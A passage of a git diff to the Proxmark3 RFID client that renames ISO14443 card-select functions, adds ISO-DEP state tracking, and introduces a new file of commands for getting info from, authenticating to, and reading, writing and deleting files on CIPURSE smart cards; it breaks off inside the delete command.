||||
|
@ -845,7 +846,7 @@ int ExchangeRAW14a(uint8_t *datain, int datainlen, bool activateField, bool leav
|
|||
return 0;
|
||||
}
|
||||
|
||||
int SelectCard14443_4(bool disconnect, iso14a_card_select_t *card) {
|
||||
int SelectCard14443A_4(bool disconnect, iso14a_card_select_t *card) {
|
||||
PacketResponseNG resp;
|
||||
|
||||
frameLength = 0;
|
||||
|
@ -905,7 +906,7 @@ int SelectCard14443_4(bool disconnect, iso14a_card_select_t *card) {
|
|||
if (card)
|
||||
memcpy(card, vcard, sizeof(iso14a_card_select_t));
|
||||
}
|
||||
|
||||
SetISODEPState(ISODEP_NFCA);
|
||||
if (disconnect)
|
||||
DropField();
|
||||
|
||||
|
@ -917,7 +918,7 @@ static int CmdExchangeAPDU(bool chainingin, uint8_t *datain, int datainlen, bool
|
|||
|
||||
if (activateField) {
|
||||
// select with no disconnect and set frameLength
|
||||
int selres = SelectCard14443_4(false, NULL);
|
||||
int selres = SelectCard14443A_4(false, NULL);
|
||||
if (selres != PM3_SUCCESS)
|
||||
return selres;
|
||||
}
|
||||
|
@ -2008,7 +2009,7 @@ int infoHF14A(bool verbose, bool do_nack_test, bool do_aid_search) {
|
|||
uint16_t sw = 0;
|
||||
uint8_t result[1024] = {0};
|
||||
size_t resultlen = 0;
|
||||
int res = EMVSelect(ECC_CONTACTLESS, ActivateField, true, vaid, vaidlen, result, sizeof(result), &resultlen, &sw, NULL);
|
||||
int res = Iso7816Select(CC_CONTACTLESS, ActivateField, true, vaid, vaidlen, result, sizeof(result), &resultlen, &sw);
|
||||
ActivateField = false;
|
||||
if (res)
|
||||
continue;
|
||||
|
|
|
@ -35,5 +35,5 @@ int Hf14443_4aGetCardData(iso14a_card_select_t *card);
|
|||
int ExchangeAPDU14a(uint8_t *datain, int datainlen, bool activateField, bool leaveSignalON, uint8_t *dataout, int maxdataoutlen, int *dataoutlen);
|
||||
int ExchangeRAW14a(uint8_t *datain, int datainlen, bool activateField, bool leaveSignalON, uint8_t *dataout, int maxdataoutlen, int *dataoutlen, bool silentMode);
|
||||
|
||||
int SelectCard14443_4(bool disconnect, iso14a_card_select_t *card);
|
||||
int SelectCard14443A_4(bool disconnect, iso14a_card_select_t *card);
|
||||
#endif
|
||||
|
|
|
@ -22,7 +22,7 @@
|
|||
#include "crc16.h"
|
||||
#include "cmdhf14a.h"
|
||||
#include "protocols.h" // definitions of ISO14B/7816 protocol
|
||||
#include "emv/apduinfo.h" // GetAPDUCodeDescription
|
||||
#include "iso7816/apduinfo.h" // GetAPDUCodeDescription
|
||||
#include "nfc/ndef.h" // NDEFRecordsDecodeAndPrint
|
||||
#include "aidsearch.h"
|
||||
|
||||
|
@ -42,6 +42,7 @@ bool apdu_in_framing_enable = true;
|
|||
static int CmdHelp(const char *Cmd);
|
||||
|
||||
static int switch_off_field_14b(void) {
|
||||
SetISODEPState(ISODEP_INACTIVE);
|
||||
iso14b_raw_cmd_t packet = {
|
||||
.flags = ISO14B_DISCONNECT,
|
||||
.timeout = 0,
|
||||
|
@ -1557,7 +1558,7 @@ static int srix4kValid(const char *Cmd) {
|
|||
}
|
||||
*/
|
||||
|
||||
static int select_card_14443b_4(bool disconnect, iso14b_card_select_t *card) {
|
||||
int select_card_14443b_4(bool disconnect, iso14b_card_select_t *card) {
|
||||
if (card)
|
||||
memset(card, 0, sizeof(iso14b_card_select_t));
|
||||
|
||||
|
@ -1598,7 +1599,7 @@ static int select_card_14443b_4(bool disconnect, iso14b_card_select_t *card) {
|
|||
switch_off_field_14b();
|
||||
return PM3_ESOFT;
|
||||
}
|
||||
|
||||
SetISODEPState(ISODEP_NFCB);
|
||||
apdu_frame_length = 0;
|
||||
// get frame length from ATS in card data structure
|
||||
iso14b_card_select_t *vcard = (iso14b_card_select_t *) resp.data.asBytes;
|
||||
|
@ -1679,7 +1680,7 @@ static int handle_14b_apdu(bool chainingin, uint8_t *datain, int datainlen,
|
|||
*dataoutlen += dlen;
|
||||
|
||||
if (maxdataoutlen && *dataoutlen > maxdataoutlen) {
|
||||
PrintAndLogEx(ERR, "APDU: buffer too small(%d), needs %d bytes", *dataoutlen, maxdataoutlen);
|
||||
PrintAndLogEx(ERR, "APDU: buffer too small(%d), needs %d bytes", maxdataoutlen, *dataoutlen);
|
||||
return PM3_ESOFT;
|
||||
}
|
||||
|
||||
|
|
|
@ -12,11 +12,13 @@
|
|||
#define CMDHF14B_H__
|
||||
|
||||
#include "common.h"
|
||||
#include "iso14b.h"
|
||||
|
||||
int CmdHF14B(const char *Cmd);
|
||||
int CmdHF14BNdefRead(const char *Cmd);
|
||||
|
||||
int exchange_14b_apdu(uint8_t *datain, int datainlen, bool activate_field, bool leave_signal_on, uint8_t *dataout, int maxdataoutlen, int *dataoutlen, int user_timeout);
|
||||
int select_card_14443b_4(bool disconnect, iso14b_card_select_t *card);
|
||||
|
||||
int infoHF14B(bool verbose, bool do_aid_search);
|
||||
int readHF14B(bool loop, bool verbose);
|
||||
|
|
705
client/src/cmdhfcipurse.c
Normal file
705
client/src/cmdhfcipurse.c
Normal file
|
@ -0,0 +1,705 @@
|
|||
//-----------------------------------------------------------------------------
|
||||
// Copyright (C) 2021 Merlok
|
||||
//
|
||||
// This code is licensed to you under the terms of the GNU GPL, version 2 or,
|
||||
// at your option, any later version. See the LICENSE.txt file for the text of
|
||||
// the license.
|
||||
//-----------------------------------------------------------------------------
|
||||
// High frequency FIDO U2F and FIDO2 contactless authenticators
|
||||
//-----------------------------------------------------------------------------
|
||||
//
|
||||
// JAVA implementation here:
|
||||
//
|
||||
// https://github.com/duychuongvn/cipurse-card-core
|
||||
//-----------------------------------------------------------------------------
|
||||
|
||||
#include "cmdhffido.h"
|
||||
#include <unistd.h>
|
||||
#include "cmdparser.h" // command_t
|
||||
#include "commonutil.h"
|
||||
#include "comms.h"
|
||||
#include "proxmark3.h"
|
||||
#include "emv/emvcore.h"
|
||||
#include "emv/emvjson.h"
|
||||
#include "cliparser.h"
|
||||
#include "cmdhfcipurse.h"
|
||||
#include "cipurse/cipursecore.h"
|
||||
#include "cipurse/cipursecrypto.h"
|
||||
#include "ui.h"
|
||||
#include "cmdhf14a.h"
|
||||
#include "cmdtrace.h"
|
||||
#include "util.h"
|
||||
#include "fileutils.h" // laodFileJSONroot
|
||||
|
||||
static int CmdHelp(const char *Cmd);
|
||||
|
||||
static int CmdHFCipurseInfo(const char *Cmd) {
|
||||
CLIParserContext *ctx;
|
||||
CLIParserInit(&ctx, "hf cipurse info",
|
||||
"Get info from cipurse tags",
|
||||
"hf cipurse info");
|
||||
|
||||
void *argtable[] = {
|
||||
arg_param_begin,
|
||||
arg_param_end
|
||||
};
|
||||
CLIExecWithReturn(ctx, Cmd, argtable, true);
|
||||
CLIParserFree(ctx);
|
||||
|
||||
// info about 14a part
|
||||
infoHF14A(false, false, false);
|
||||
|
||||
// CIPURSE info
|
||||
PrintAndLogEx(INFO, "-----------" _CYAN_("CIPURSE Info") "---------------------------------");
|
||||
SetAPDULogging(false);
|
||||
|
||||
uint8_t buf[APDU_RES_LEN] = {0};
|
||||
size_t len = 0;
|
||||
uint16_t sw = 0;
|
||||
int res = CIPURSESelect(true, true, buf, sizeof(buf), &len, &sw);
|
||||
|
||||
if (res) {
|
||||
DropField();
|
||||
return res;
|
||||
}
|
||||
|
||||
if (sw != 0x9000) {
|
||||
if (sw)
|
||||
PrintAndLogEx(INFO, "Not a CIPURSE card! APDU response: %04x - %s", sw, GetAPDUCodeDescription(sw >> 8, sw & 0xff));
|
||||
else
|
||||
PrintAndLogEx(ERR, "APDU exchange error. Card returns 0x0000.");
|
||||
|
||||
DropField();
|
||||
return PM3_SUCCESS;
|
||||
}
|
||||
|
||||
PrintAndLogEx(INFO, "Cipurse card: " _GREEN_("OK"));
|
||||
|
||||
res = CIPURSESelectFile(0x2ff7, buf, sizeof(buf), &len, &sw);
|
||||
if (res != 0 || sw != 0x9000) {
|
||||
DropField();
|
||||
return PM3_SUCCESS;
|
||||
}
|
||||
|
||||
res = CIPURSEReadBinary(0, buf, sizeof(buf), &len, &sw);
|
||||
if (res != 0 || sw != 0x9000) {
|
||||
DropField();
|
||||
return PM3_SUCCESS;
|
||||
}
|
||||
|
||||
if (len > 0) {
|
||||
PrintAndLogEx(INFO, "Info file: " _GREEN_("OK"));
|
||||
PrintAndLogEx(INFO, "[%d]: %s", len, sprint_hex(buf, len));
|
||||
CIPURSEPrintInfoFile(buf, len);
|
||||
}
|
||||
|
||||
DropField();
|
||||
return PM3_SUCCESS;
|
||||
}
|
||||
|
||||
static int CmdHFCipurseAuth(const char *Cmd) {
|
||||
uint8_t buf[APDU_RES_LEN] = {0};
|
||||
size_t len = 0;
|
||||
uint16_t sw = 0;
|
||||
uint8_t keyId = 1;
|
||||
uint8_t key[] = {0x73, 0x73, 0x73, 0x73, 0x73, 0x73, 0x73, 0x73, 0x73, 0x73, 0x73, 0x73, 0x73, 0x73, 0x73, 0x73};
|
||||
|
||||
CLIParserContext *ctx;
|
||||
CLIParserInit(&ctx, "hf cipurse auth",
|
||||
"Authenticate with key ID and key",
|
||||
"hf cipurse auth -> Authenticate with keyID=1 and key = 7373...7373\n"
|
||||
"hf cipurse auth -n 2 -k 65656565656565656565656565656565 -> Authenticate with key\n");
|
||||
|
||||
void *argtable[] = {
|
||||
arg_param_begin,
|
||||
arg_lit0("a", "apdu", "show APDU requests and responses"),
|
||||
arg_lit0("v", "verbose", "show technical data"),
|
||||
arg_int0("n", "keyid", "<dec>", "key id"),
|
||||
arg_str0("k", "key", "<hex>", "key for authenticate"),
|
||||
arg_param_end
|
||||
};
|
||||
CLIExecWithReturn(ctx, Cmd, argtable, true);
|
||||
|
||||
bool APDULogging = arg_get_lit(ctx, 1);
|
||||
bool verbose = arg_get_lit(ctx, 2);
|
||||
keyId = arg_get_int_def(ctx, 3, 1);
|
||||
|
||||
uint8_t hdata[250] = {0};
|
||||
int hdatalen = sizeof(hdata);
|
||||
CLIGetHexWithReturn(ctx, 4, hdata, &hdatalen);
|
||||
if (hdatalen && hdatalen != 16) {
|
||||
PrintAndLogEx(ERR, _RED_("ERROR:") " key length for AES128 must be 16 bytes only.");
|
||||
CLIParserFree(ctx);
|
||||
return PM3_EINVARG;
|
||||
}
|
||||
if (hdatalen)
|
||||
memcpy(key, hdata, CIPURSE_AES_KEY_LENGTH);
|
||||
|
||||
SetAPDULogging(APDULogging);
|
||||
|
||||
CLIParserFree(ctx);
|
||||
|
||||
int res = CIPURSESelect(true, true, buf, sizeof(buf), &len, &sw);
|
||||
if (res != 0 || sw != 0x9000) {
|
||||
PrintAndLogEx(ERR, "Cipurse select " _RED_("error") ". Card returns 0x%04x.", sw);
|
||||
DropField();
|
||||
return PM3_ESOFT;
|
||||
}
|
||||
|
||||
uint8_t kvv[CIPURSE_KVV_LENGTH] = {0};
|
||||
CipurseCGetKVV(key, kvv);
|
||||
if (verbose)
|
||||
PrintAndLogEx(INFO, "Key id: %d key: %s KVV: %s", keyId, sprint_hex(key, CIPURSE_AES_KEY_LENGTH), sprint_hex_inrow(kvv, CIPURSE_KVV_LENGTH));
|
||||
|
||||
bool bres = CIPURSEChannelAuthenticate(keyId, key, verbose);
|
||||
|
||||
if (verbose == false) {
|
||||
if (bres)
|
||||
PrintAndLogEx(INFO, "Authentication " _GREEN_("OK"));
|
||||
else
|
||||
PrintAndLogEx(ERR, "Authentication " _RED_("ERROR"));
|
||||
}
|
||||
|
||||
DropField();
|
||||
return bres ? PM3_SUCCESS : PM3_ESOFT;
|
||||
}
|
||||
|
||||
static int CLIParseKeyAndSecurityLevels(CLIParserContext *ctx, size_t keyid, size_t sreqid, size_t srespid, uint8_t *key, CipurseChannelSecurityLevel *sreq, CipurseChannelSecurityLevel *sresp) {
|
||||
uint8_t hdata[250] = {0};
|
||||
int hdatalen = sizeof(hdata);
|
||||
CLIGetHexWithReturn(ctx, keyid, hdata, &hdatalen);
|
||||
if (hdatalen && hdatalen != 16) {
|
||||
PrintAndLogEx(ERR, _RED_("ERROR:") " key length for AES128 must be 16 bytes only.");
|
||||
CLIParserFree(ctx);
|
||||
return PM3_EINVARG;
|
||||
}
|
||||
if (hdatalen)
|
||||
memcpy(key, hdata, CIPURSE_AES_KEY_LENGTH);
|
||||
|
||||
*sreq = CPSMACed;
|
||||
*sresp = CPSMACed;
|
||||
|
||||
char cdata[250] = {0};
|
||||
int cdatalen = sizeof(cdata);
|
||||
cdatalen--; // for trailer 0x00
|
||||
CLIGetStrWithReturn(ctx, sreqid, (uint8_t *)cdata, &cdatalen);
|
||||
if (cdatalen) {
|
||||
str_lower(cdata);
|
||||
if (strcmp(cdata, "plain") == 0)
|
||||
*sreq = CPSPlain;
|
||||
else if (strcmp(cdata, "mac") == 0)
|
||||
*sreq = CPSMACed;
|
||||
else if (strcmp(cdata, "enc") == 0 || strcmp(cdata, "encode") == 0 || strcmp(cdata, "encrypted") == 0)
|
||||
*sreq = CPSEncrypted;
|
||||
else {
|
||||
PrintAndLogEx(ERR, _RED_("ERROR:") " security level can be only: plain|mac|encode.");
|
||||
return PM3_EINVARG;
|
||||
}
|
||||
}
|
||||
|
||||
cdatalen = sizeof(cdata);
|
||||
memset(cdata, 0, cdatalen);
|
||||
cdatalen--; // for trailer 0x00
|
||||
CLIGetStrWithReturn(ctx, srespid, (uint8_t *)cdata, &cdatalen);
|
||||
if (cdatalen) {
|
||||
str_lower(cdata);
|
||||
if (strcmp(cdata, "plain") == 0)
|
||||
*sresp = CPSPlain;
|
||||
else if (strcmp(cdata, "mac") == 0)
|
||||
*sresp = CPSMACed;
|
||||
else if (strcmp(cdata, "enc") == 0 || strcmp(cdata, "encode") == 0 || strcmp(cdata, "encrypted") == 0)
|
||||
*sresp = CPSEncrypted;
|
||||
else {
|
||||
PrintAndLogEx(ERR, _RED_("ERROR:") " security level can be only: plain|mac|encode.");
|
||||
return PM3_EINVARG;
|
||||
}
|
||||
}
|
||||
|
||||
return PM3_SUCCESS;
|
||||
}
|
||||
|
||||
static int CmdHFCipurseReadFile(const char *Cmd) {
|
||||
uint8_t buf[APDU_RES_LEN] = {0};
|
||||
size_t len = 0;
|
||||
uint16_t sw = 0;
|
||||
uint8_t key[] = CIPURSE_DEFAULT_KEY;
|
||||
|
||||
CLIParserContext *ctx;
|
||||
CLIParserInit(&ctx, "hf cipurse read",
|
||||
"Read file by file ID with key ID and key",
|
||||
"hf cipurse read -f 2ff7 -> Authenticate with keyID=1 and key = 7373...7373 and read file with id 2ff7\n"
|
||||
"hf cipurse read -n 2 -k 65656565656565656565656565656565 -f 2ff7 -> Authenticate with specified key and read file\n");
|
||||
|
||||
void *argtable[] = {
|
||||
arg_param_begin,
|
||||
arg_lit0("a", "apdu", "show APDU requests and responses"),
|
||||
arg_lit0("v", "verbose", "show technical data"),
|
||||
arg_int0("n", "keyid", "<dec>", "key id"),
|
||||
arg_str0("k", "key", "<hex>", "key for authenticate"),
|
||||
arg_str0("f", "file", "<hex>", "file ID"),
|
||||
arg_int0("o", "offset", "<dec>", "offset for reading data from file"),
|
||||
arg_lit0(NULL, "noauth", "read file without authentication"),
|
||||
arg_str0(NULL, "sreq", "<plain|mac(default)|encode>", "communication reader-PICC security level"),
|
||||
arg_str0(NULL, "sresp", "<plain|mac(default)|encode>", "communication PICC-reader security level"),
|
||||
arg_param_end
|
||||
};
|
||||
CLIExecWithReturn(ctx, Cmd, argtable, true);
|
||||
|
||||
bool APDULogging = arg_get_lit(ctx, 1);
|
||||
bool verbose = arg_get_lit(ctx, 2);
|
||||
uint8_t keyId = arg_get_int_def(ctx, 3, 1);
|
||||
|
||||
CipurseChannelSecurityLevel sreq = CPSMACed;
|
||||
CipurseChannelSecurityLevel sresp = CPSMACed;
|
||||
int res = CLIParseKeyAndSecurityLevels(ctx, 4, 8, 9, key, &sreq, &sresp);
|
||||
if (res) {
|
||||
CLIParserFree(ctx);
|
||||
return PM3_EINVARG;
|
||||
}
|
||||
|
||||
uint16_t fileId = 0x2ff7;
|
||||
|
||||
uint8_t hdata[250] = {0};
|
||||
int hdatalen = sizeof(hdata);
|
||||
CLIGetHexWithReturn(ctx, 5, hdata, &hdatalen);
|
||||
if (hdatalen && hdatalen != 2) {
|
||||
PrintAndLogEx(ERR, _RED_("ERROR:") " file id length must be 2 bytes only.");
|
||||
CLIParserFree(ctx);
|
||||
return PM3_EINVARG;
|
||||
}
|
||||
if (hdatalen)
|
||||
fileId = (hdata[0] << 8) + hdata[1];
|
||||
|
||||
size_t offset = arg_get_int_def(ctx, 6, 0);
|
||||
|
||||
bool noAuth = arg_get_lit(ctx, 7);
|
||||
|
||||
SetAPDULogging(APDULogging);
|
||||
|
||||
CLIParserFree(ctx);
|
||||
|
||||
res = CIPURSESelect(true, true, buf, sizeof(buf), &len, &sw);
|
||||
if (res != 0 || sw != 0x9000) {
|
||||
PrintAndLogEx(ERR, "Cipurse select " _RED_("error") ". Card returns 0x%04x.", sw);
|
||||
DropField();
|
||||
return PM3_ESOFT;
|
||||
}
|
||||
|
||||
if (verbose)
|
||||
PrintAndLogEx(INFO, "File id: %x offset %d key id: %d key: %s", fileId, offset, keyId, sprint_hex(key, CIPURSE_AES_KEY_LENGTH));
|
||||
|
||||
if (noAuth == false) {
|
||||
bool bres = CIPURSEChannelAuthenticate(keyId, key, verbose);
|
||||
if (bres == false) {
|
||||
if (verbose == false)
|
||||
PrintAndLogEx(ERR, "Authentication " _RED_("ERROR"));
|
||||
DropField();
|
||||
return PM3_ESOFT;
|
||||
}
|
||||
|
||||
// set channel security levels
|
||||
CIPURSECSetActChannelSecurityLevels(sreq, sresp);
|
||||
}
|
||||
|
||||
res = CIPURSESelectFile(fileId, buf, sizeof(buf), &len, &sw);
|
||||
if (res != 0 || sw != 0x9000) {
|
||||
if (verbose == false)
|
||||
PrintAndLogEx(ERR, "File select " _RED_("ERROR") ". Card returns 0x%04x.", sw);
|
||||
DropField();
|
||||
return PM3_ESOFT;
|
||||
}
|
||||
|
||||
if (verbose)
|
||||
PrintAndLogEx(INFO, "Select file 0x%x " _GREEN_("OK"), fileId);
|
||||
|
||||
res = CIPURSEReadBinary(offset, buf, sizeof(buf), &len, &sw);
|
||||
if (res != 0 || sw != 0x9000) {
|
||||
if (verbose == false)
|
||||
PrintAndLogEx(ERR, "File read " _RED_("ERROR") ". Card returns 0x%04x.", sw);
|
||||
DropField();
|
||||
return PM3_ESOFT;
|
||||
}
|
||||
|
||||
if (len == 0)
|
||||
PrintAndLogEx(INFO, "File id: %x is empty", fileId);
|
||||
else
|
||||
PrintAndLogEx(INFO, "File id: %x data[%d]: %s", fileId, len, sprint_hex(buf, len));
|
||||
|
||||
DropField();
|
||||
return PM3_SUCCESS;
|
||||
}
|
||||
|
||||
static int CmdHFCipurseWriteFile(const char *Cmd) {
|
||||
uint8_t buf[APDU_RES_LEN] = {0};
|
||||
size_t len = 0;
|
||||
uint16_t sw = 0;
|
||||
uint8_t key[] = CIPURSE_DEFAULT_KEY;
|
||||
|
||||
CLIParserContext *ctx;
|
||||
CLIParserInit(&ctx, "hf cipurse write",
|
||||
"Write file by file ID with key ID and key",
|
||||
"hf cipurse write -f 2ff7 -> Authenticate with keyID=1 and key = 7373...7373 and write file with id 2ff7\n"
|
||||
"hf cipurse write -n 2 -k 65656565656565656565656565656565 -f 2ff7 -> Authenticate with specified key and write file\n");
|
||||
|
||||
void *argtable[] = {
|
||||
arg_param_begin,
|
||||
arg_lit0("a", "apdu", "show APDU requests and responses"),
|
||||
arg_lit0("v", "verbose", "show technical data"),
|
||||
arg_int0("n", "keyid", "<dec>", "key id"),
|
||||
arg_str0("k", "key", "<hex>", "key for authenticate"),
|
||||
arg_str0("f", "file", "<hex>", "file ID"),
|
||||
arg_int0("o", "offset", "<dec>", "offset for reading data from file"),
|
||||
arg_lit0(NULL, "noauth", "read file without authentication"),
|
||||
arg_str0(NULL, "sreq", "<plain|mac(default)|encode>", "communication reader-PICC security level"),
|
||||
arg_str0(NULL, "sresp", "<plain|mac(default)|encode>", "communication PICC-reader security level"),
|
||||
arg_str0("c", "content", "<hex>", "new file content"),
|
||||
arg_param_end
|
||||
};
|
||||
CLIExecWithReturn(ctx, Cmd, argtable, true);
|
||||
|
||||
bool APDULogging = arg_get_lit(ctx, 1);
|
||||
bool verbose = arg_get_lit(ctx, 2);
|
||||
uint8_t keyId = arg_get_int_def(ctx, 3, 1);
|
||||
|
||||
CipurseChannelSecurityLevel sreq = CPSMACed;
|
||||
CipurseChannelSecurityLevel sresp = CPSMACed;
|
||||
int res = CLIParseKeyAndSecurityLevels(ctx, 4, 8, 9, key, &sreq, &sresp);
|
||||
if (res) {
|
||||
CLIParserFree(ctx);
|
||||
return PM3_EINVARG;
|
||||
}
|
||||
|
||||
uint16_t fileId = 0x2ff7;
|
||||
|
||||
uint8_t hdata[250] = {0};
|
||||
int hdatalen = sizeof(hdata);
|
||||
CLIGetHexWithReturn(ctx, 5, hdata, &hdatalen);
|
||||
if (hdatalen && hdatalen != 2) {
|
||||
PrintAndLogEx(ERR, _RED_("ERROR:") " file id length must be 2 bytes only.");
|
||||
CLIParserFree(ctx);
|
||||
return PM3_EINVARG;
|
||||
}
|
||||
if (hdatalen)
|
||||
fileId = (hdata[0] << 8) + hdata[1];
|
||||
|
||||
size_t offset = arg_get_int_def(ctx, 6, 0);
|
||||
|
||||
bool noAuth = arg_get_lit(ctx, 7);
|
||||
|
||||
hdatalen = sizeof(hdata);
|
||||
CLIGetHexWithReturn(ctx, 10, hdata, &hdatalen);
|
||||
if (hdatalen == 0) {
|
||||
PrintAndLogEx(ERR, _RED_("ERROR:") " file content length must be more 0.");
|
||||
CLIParserFree(ctx);
|
||||
return PM3_EINVARG;
|
||||
}
|
||||
|
||||
SetAPDULogging(APDULogging);
|
||||
|
||||
CLIParserFree(ctx);
|
||||
|
||||
res = CIPURSESelect(true, true, buf, sizeof(buf), &len, &sw);
|
||||
if (res != 0 || sw != 0x9000) {
|
||||
PrintAndLogEx(ERR, "Cipurse select " _RED_("error") ". Card returns 0x%04x.", sw);
|
||||
DropField();
|
||||
return PM3_ESOFT;
|
||||
}
|
||||
|
||||
if (verbose) {
|
||||
PrintAndLogEx(INFO, "File id: %x offset %d key id: %d key: %s", fileId, offset, keyId, sprint_hex(key, CIPURSE_AES_KEY_LENGTH));
|
||||
PrintAndLogEx(INFO, "data[%d]: %s", hdatalen, sprint_hex(hdata, hdatalen));
|
||||
}
|
||||
|
||||
if (noAuth == false) {
|
||||
bool bres = CIPURSEChannelAuthenticate(keyId, key, verbose);
|
||||
if (bres == false) {
|
||||
if (verbose == false)
|
||||
PrintAndLogEx(ERR, "Authentication " _RED_("ERROR"));
|
||||
DropField();
|
||||
return PM3_ESOFT;
|
||||
}
|
||||
|
||||
// set channel security levels
|
||||
CIPURSECSetActChannelSecurityLevels(sreq, sresp);
|
||||
}
|
||||
|
||||
res = CIPURSESelectFile(fileId, buf, sizeof(buf), &len, &sw);
|
||||
if (res != 0 || sw != 0x9000) {
|
||||
if (verbose == false)
|
||||
PrintAndLogEx(ERR, "File select " _RED_("ERROR") ". Card returns 0x%04x.", sw);
|
||||
DropField();
|
||||
return PM3_ESOFT;
|
||||
}
|
||||
|
||||
if (verbose)
|
||||
PrintAndLogEx(INFO, "Select file 0x%x " _GREEN_("OK"), fileId);
|
||||
|
||||
res = CIPURSEUpdateBinary(offset, hdata, hdatalen, buf, sizeof(buf), &len, &sw);
|
||||
if (res != 0 || sw != 0x9000) {
|
||||
if (verbose == false)
|
||||
PrintAndLogEx(ERR, "File write " _RED_("ERROR") ". Card returns 0x%04x.", sw);
|
||||
DropField();
|
||||
return PM3_ESOFT;
|
||||
}
|
||||
|
||||
PrintAndLogEx(INFO, "File id: %x successfully written.", fileId);
|
||||
|
||||
DropField();
|
||||
return PM3_SUCCESS;
|
||||
}
|
||||
|
||||
static int CmdHFCipurseReadFileAttr(const char *Cmd) {
|
||||
uint8_t buf[APDU_RES_LEN] = {0};
|
||||
size_t len = 0;
|
||||
uint16_t sw = 0;
|
||||
uint8_t key[] = CIPURSE_DEFAULT_KEY;
|
||||
|
||||
CLIParserContext *ctx;
|
||||
CLIParserInit(&ctx, "hf cipurse aread",
|
||||
"Read file attributes by file ID with key ID and key",
|
||||
"hf cipurse aread -f 2ff7 -> Authenticate with keyID=1 and key = 7373...7373 and read file attributes with id 2ff7\n"
|
||||
"hf cipurse aread -n 2 -k 65656565656565656565656565656565 -f 2ff7 -> Authenticate with specified key and read file attributes\n");
|
||||
|
||||
void *argtable[] = {
|
||||
arg_param_begin,
|
||||
arg_lit0("a", "apdu", "show APDU requests and responses"),
|
||||
arg_lit0("v", "verbose", "show technical data"),
|
||||
arg_int0("n", "keyid", "<dec>", "key id"),
|
||||
arg_str0("k", "key", "<hex>", "key for authenticate"),
|
||||
arg_str0("f", "file", "<hex>", "file ID"),
|
||||
arg_lit0(NULL, "noauth", "read file attributes without authentication"),
|
||||
arg_str0(NULL, "sreq", "<plain|mac(default)|encode>", "communication reader-PICC security level"),
|
||||
arg_str0(NULL, "sresp", "<plain|mac(default)|encode>", "communication PICC-reader security level"),
|
||||
arg_lit0(NULL, "sel-adf", "show info about ADF itself"),
|
||||
arg_lit0(NULL, "sel-mf", "show info about master file"),
|
||||
arg_param_end
|
||||
};
|
||||
CLIExecWithReturn(ctx, Cmd, argtable, true);
|
||||
|
||||
bool APDULogging = arg_get_lit(ctx, 1);
|
||||
bool verbose = arg_get_lit(ctx, 2);
|
||||
uint8_t keyId = arg_get_int_def(ctx, 3, 1);
|
||||
|
||||
CipurseChannelSecurityLevel sreq = CPSMACed;
|
||||
CipurseChannelSecurityLevel sresp = CPSMACed;
|
||||
int res = CLIParseKeyAndSecurityLevels(ctx, 4, 7, 8, key, &sreq, &sresp);
|
||||
if (res) {
|
||||
CLIParserFree(ctx);
|
||||
return PM3_EINVARG;
|
||||
}
|
||||
|
||||
uint16_t fileId = 0x2ff7;
|
||||
|
||||
uint8_t hdata[250] = {0};
|
||||
int hdatalen = sizeof(hdata);
|
||||
CLIGetHexWithReturn(ctx, 5, hdata, &hdatalen);
|
||||
if (hdatalen && hdatalen != 2) {
|
||||
PrintAndLogEx(ERR, _RED_("ERROR:") " file id length must be 2 bytes only.");
|
||||
CLIParserFree(ctx);
|
||||
return PM3_EINVARG;
|
||||
}
|
||||
if (hdatalen)
|
||||
fileId = (hdata[0] << 8) + hdata[1];
|
||||
|
||||
bool noAuth = arg_get_lit(ctx, 6);
|
||||
|
||||
bool seladf = arg_get_lit(ctx, 9);
|
||||
bool selmf = arg_get_lit(ctx, 10);
|
||||
|
||||
SetAPDULogging(APDULogging);
|
||||
|
||||
CLIParserFree(ctx);
|
||||
|
||||
res = CIPURSESelect(true, true, buf, sizeof(buf), &len, &sw);
|
||||
if (res != 0 || sw != 0x9000) {
|
||||
PrintAndLogEx(ERR, "Cipurse select " _RED_("error") ". Card returns 0x%04x.", sw);
|
||||
DropField();
|
||||
return PM3_ESOFT;
|
||||
}
|
||||
|
||||
if (verbose)
|
||||
PrintAndLogEx(INFO, "File id: %x key id: %d key: %s", fileId, keyId, sprint_hex(key, CIPURSE_AES_KEY_LENGTH));
|
||||
|
||||
if (noAuth == false) {
|
||||
bool bres = CIPURSEChannelAuthenticate(keyId, key, verbose);
|
||||
if (bres == false) {
|
||||
if (verbose == false)
|
||||
PrintAndLogEx(ERR, "Authentication " _RED_("ERROR"));
|
||||
DropField();
|
||||
return PM3_ESOFT;
|
||||
}
|
||||
|
||||
// set channel security levels
|
||||
CIPURSECSetActChannelSecurityLevels(sreq, sresp);
|
||||
}
|
||||
|
||||
if (seladf == false) {
|
||||
if (selmf)
|
||||
res = CIPURSESelectMFFile(buf, sizeof(buf), &len, &sw);
|
||||
else
|
||||
res = CIPURSESelectFile(fileId, buf, sizeof(buf), &len, &sw);
|
||||
|
||||
if (res != 0 || sw != 0x9000) {
|
||||
if (verbose == false)
|
||||
PrintAndLogEx(ERR, "File select " _RED_("ERROR") ". Card returns 0x%04x.", sw);
|
||||
DropField();
|
||||
return PM3_ESOFT;
|
||||
}
|
||||
}
|
||||
|
||||
if (verbose)
|
||||
PrintAndLogEx(INFO, "Select file 0x%x " _GREEN_("OK"), fileId);
|
||||
|
||||
res = CIPURSEReadFileAttributes(buf, sizeof(buf), &len, &sw);
|
||||
if (res != 0 || sw != 0x9000) {
|
||||
if (verbose == false)
|
||||
PrintAndLogEx(ERR, "File read " _RED_("ERROR") ". Card returns 0x%04x.", sw);
|
||||
DropField();
|
||||
return PM3_ESOFT;
|
||||
}
|
||||
|
||||
if (len == 0) {
|
||||
PrintAndLogEx(WARNING, "File id: %x attributes is empty", fileId);
|
||||
DropField();
|
||||
return PM3_SUCCESS;
|
||||
}
|
||||
|
||||
if (verbose)
|
||||
PrintAndLogEx(INFO, "File id: %x attributes[%d]: %s", fileId, len, sprint_hex(buf, len));
|
||||
|
||||
CIPURSEPrintFileAttr(buf, len);
|
||||
|
||||
DropField();
|
||||
return PM3_SUCCESS;
|
||||
}
|
||||
|
||||
static int CmdHFCipurseDeleteFile(const char *Cmd) {
|
||||
uint8_t buf[APDU_RES_LEN] = {0};
|
||||
size_t len = 0;
|
||||
uint16_t sw = 0;
|
||||
uint8_t key[] = CIPURSE_DEFAULT_KEY;
|
||||
|
||||
CLIParserContext *ctx;
|
||||
CLIParserInit(&ctx, "hf cipurse delete",
|
||||
"Read file by file ID with key ID and key",
|
||||
"hf cipurse delete -f 2ff7 -> Authenticate with keyID=1 and key = 7373...7373 and delete file with id 2ff7\n"
|
||||
"hf cipurse delete -n 2 -k 65656565656565656565656565656565 -f 2ff7 -> Authenticate with specified key and delete file\n");
|
||||
|
||||
